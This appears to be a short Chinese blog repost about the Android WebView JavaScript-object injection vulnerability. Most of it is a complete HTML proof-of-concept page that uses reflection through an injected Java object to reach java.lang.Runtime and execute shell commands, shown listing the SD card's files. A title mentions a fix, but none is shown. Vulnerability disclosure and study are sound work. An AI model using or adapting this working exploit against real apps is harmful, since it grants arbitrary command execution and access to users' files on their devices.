標籤：
http://blog.csdn.net/leehong2005/article/details/11808557/
webview調用以下檔案，就可以列印sdcard 檔案名稱
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 2 <html xmlns="http://www.w3.org/1999/xhtml"> 3 <head> 4 <title> new document </title> 5 <script > 6 var i=0; 7 function getContents(inputStream) { 8 var contents = ""+i; 9 var b = inputStream.read();10 var i = 1;11 while(b != -1) {12 var bString = String.fromCharCode(b);13 contents += bString;14 contents += "\n"15 b = inputStream.read();16 }17 i=i+1;18 return contents;19 }20 21 function execute(cmdArgs){22 for (var obj in window) { 23 console.log(obj);24 if(window[obj]!=null)25 if ("getClass" in window[obj]) {26 console.log("come to here");27 //alert(obj);.28 return window[obj].getClass().forName("java.lang.Runtime").29 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 30 } 31 } 32 }33 var p = execute(["ls","/mnt/sdcard/"]);34 console.log("come to here 2");35 36 document.write(getContents(p.getInputStream())); 37 </script>38 <meta name="generator" content="editplus" />39 <meta name="author" content="" />40 <meta name="keywords" content="" />41 <meta name="description" content="" />42 </head>43 44 <body>45 46 </body>47 </html>
Android WebView的Js對象注入漏洞解決方案
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